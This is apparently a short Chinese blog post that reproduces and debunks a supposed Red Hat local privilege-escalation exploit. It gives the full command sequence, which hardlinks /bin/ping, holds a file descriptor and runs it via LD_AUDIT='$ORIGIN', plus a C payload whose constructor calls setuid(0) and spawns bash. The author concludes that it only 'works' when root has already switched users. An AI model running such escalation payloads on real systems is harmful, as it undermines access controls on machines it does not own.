最近在做linux kernel提权分析的工作,做好了一个分析工具,准备开始大展身手的时候,发现提权漏洞的例子不好找,于是开始在互联网上查找(游荡)。
突然,redhat 的一个“漏洞”成功的吸引来我。某学神教学视频链接中演示,普通用户一下子就变成来root用户,看着灰常厉害。
操作也很简单,如下:
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ll /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ll /proc/$$/fd/3
$ vim payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
编译payload.c
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
还有某博主2016年的“原创”,截图如下,链接 。
这个问题其实很早就有人提到来。
另一处分析,这位兄弟已经很接近真相了,截图如下,链接
本人也没有太在意,就直接去重现这个“漏洞”了,跟楼上兄弟所描述的情况一样,只有退出bash,没有变成root啊,一定是我环境或者步骤不对。突然我注意到,只有root切换成其它用户后,这个用户才能提权到root,也就是说root --> andy --攻击--> root。原来如此,got it, so happy.
但是,但是,这种提权不就是一个exit的事吗?
科研需要谨慎